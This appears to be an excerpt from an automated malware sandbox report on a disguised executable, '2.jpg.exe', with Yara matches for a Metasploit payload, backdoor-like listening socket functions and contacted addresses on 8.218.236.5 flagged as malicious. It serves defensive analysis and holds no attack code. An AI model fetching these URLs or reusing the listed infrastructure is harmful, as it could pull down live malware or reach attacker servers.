Source: Yara match File source: 00000000.00000002.4125949262.0000000006360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0.2.2.jpg.exe.6760000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.2.jpg.exe.6760000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.4126125579.0000000006760000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Metasploit Payload
Source: Yara match File source: 00000000.00000002.4124836777.00000000026D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.4125800908.0000000005F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0676BFB7 socket,closesocket,htons,bind,listen, 0_2_0676BFB7
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0676725B socket,htons,ioctlsocket,closesocket,bind,listen, 0_2_0676725B
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0676733D htonl,htons,socket,closesocket,bind,ioctlsocket, 0_2_0676733D
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1428599 Sample: 2.jpg.exe Startdate: 19/04/2024 Architecture: WINDOWS Score: 100 11 Found malware configuration 2->11 13 Malicious sample detected (through community Yara rule) 2->13 15 Antivirus / Scanner detection for submitted sample 2->15 17 11 other signatures 2->17 5 2.jpg.exe 15 10 2->5         started        process3 dnsIp4 9 8.218.236.5, 49730, 49731, 49732 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC Singapore 5->9 19 Detected unpacking (creates a PE file in dynamic memory) 5->19 21 Contains functionality to detect sleep reduction / modifications 5->21 signatures5
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
8.218.236.5
 unknown Singapore
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://8.218.236.5:8089/1.txt true unknown
http://8.218.236.5:8062/g.pixel true unknown
http://8.218.236.5:8062/j9sF true unknown
http://8.218.236.5:8089/0.txt true unknown
http://8.218.236.5/j9sF true unknown
http://8.218.236.5:None/j9sF true
    		low